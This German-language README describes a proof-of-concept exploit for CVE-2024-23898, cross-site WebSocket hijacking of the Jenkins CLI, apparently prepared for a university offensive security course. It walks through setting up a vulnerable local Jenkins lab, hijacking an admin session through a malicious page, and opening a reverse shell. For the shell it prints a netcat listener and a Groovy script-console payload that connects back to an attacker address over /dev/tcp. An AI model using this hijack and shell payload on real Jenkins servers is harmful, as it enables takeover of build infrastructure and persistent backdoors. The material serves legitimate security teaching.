Jenkins CLI Websocket Hijacking - PoC
Ein Proof-of-Concept-Exploit für Cross-Site WebSocket-Hijacking für CVE-2024-23898 – eine Schwachstelle, die Jenkins-Versionen 2.217-2.441 betrifft.
Dieser Exploit zielt auf die Jenkins CLI ab, die verwendet werden kann, um remote auf einen Jenkins-Kontrollserver zuzugreifen und Befehle auszuführen. Durch diesen Exploit kann ein entfernter Angreifer Zugriff auf einen Jenkins-Kontrollserver erhalten und eine persistente Hintertür einrichten, wenn ein Administrator dazu verleitet wird, eine bösartige Website zu besuchen, während er beim Ziel-Jenkins-Kontrollserver angemeldet ist.
DISCLAIMER
Dieser Code ist nur für Bildungszwecke und ausschließlich für die Nutzung im Rahmen des Hacking & Offensive Security Kurses an der Carnegie Mellon University bestimmt. Dieser Code sollte nicht bewaffnet oder anderweitig zur Erstellung von Malware verwendet werden. Die Autoren verurteilen ausdrücklich jeden Versuch, dies zu tun.
Jenkins einrichten
- Führen Sie "docker-compose build && docker-compose up -d" aus
- Navigieren Sie zu http://localhost:8080, Sie werden nach einem Admin-Passwort gefragt
- Öffnen Sie eine Shell im Jenkins-Docker-Container (NICHT DEM POSTGRES-CONTAINER)
- "docker exec -it <container_id> bash"
- Wechseln Sie in das auf der Jenkins-Seite angezeigte Verzeichnis, holen Sie das Passwort
- Richten Sie ein grundlegendes Admin-Konto ein (merken Sie sich das Passwort) und installieren Sie die Standard-Plugins
- Konfigurieren Sie anonyme Benutzer mit grundlegenden Berechtigungen unter Manage Jenkins > Security
- Setzen Sie den Autorisierungstyp auf "Matrix-based"
- Erlauben Sie anonymen Benutzern, "Overall" und "Job" zu lesen
Durchführen des Websocket-Hijacking
- Öffnen Sie Firefox, gehen Sie zu Einstellungen > Datenschutz & Sicherheit
- Setzen Sie den Datenschutz auf benutzerdefiniert, schalten Sie Cookies "aus" (dies bewirkt, dass Firefox alle Cookies zulässt)
- Gehen Sie zu Jenkins, melden Sie sich als Admin an, und stellen Sie sicher, dass Sie "Keep me signed in" anklicken
- Starten Sie evilApp.py, besuchen Sie http://localhost:5000
- Gehen Sie zu "Netzwerk" und drücken Sie "Aktualisieren"
- Klicken Sie auf das Paket mit der Datei "ws" und gehen Sie zu "Response". Sie sollten sehen, dass dort "Authenticated as: admin" steht.
- Sie können auch die "Cookies" überprüfen, um den remember-me-Cookie zu sehen.
Ausführen einer Reverse Shell
- Starten Sie in Ihrem Terminal einen Netcat-Listener mit
nc -l <port_num> (ersetzen Sie <port_num> durch eine beliebige unbenutzte Portnummer)
- Sie müssen die IP-Adresse Ihres Computers ermitteln, wie sie von Docker gesehen wird. Auf dem Mac finden Sie diese mit dem Befehl
ipconfig getifaddr en0
- Angenommen Ihr Jenkins-Server läuft, gehen Sie zu
[http://localhost:8080/script](http://localhost:8080/script). Melden Sie sich als Admin-Konto an, falls Sie es noch nicht getan haben.
- Fügen Sie diesen Payload in die Groovy-Script-Konsole ein und führen Sie ihn aus:
['bash', '-c', 'bash -i >& /dev/tcp/<attacker_ip>/<port_num> 0>&1'].execute()
- Gehen Sie zurück zum Terminal mit dem Netcat-Listener. Sie sollten sich im Dateisystem des Jenkins-Servers befinden und alles tun können, was der Admin-Benutzer kann.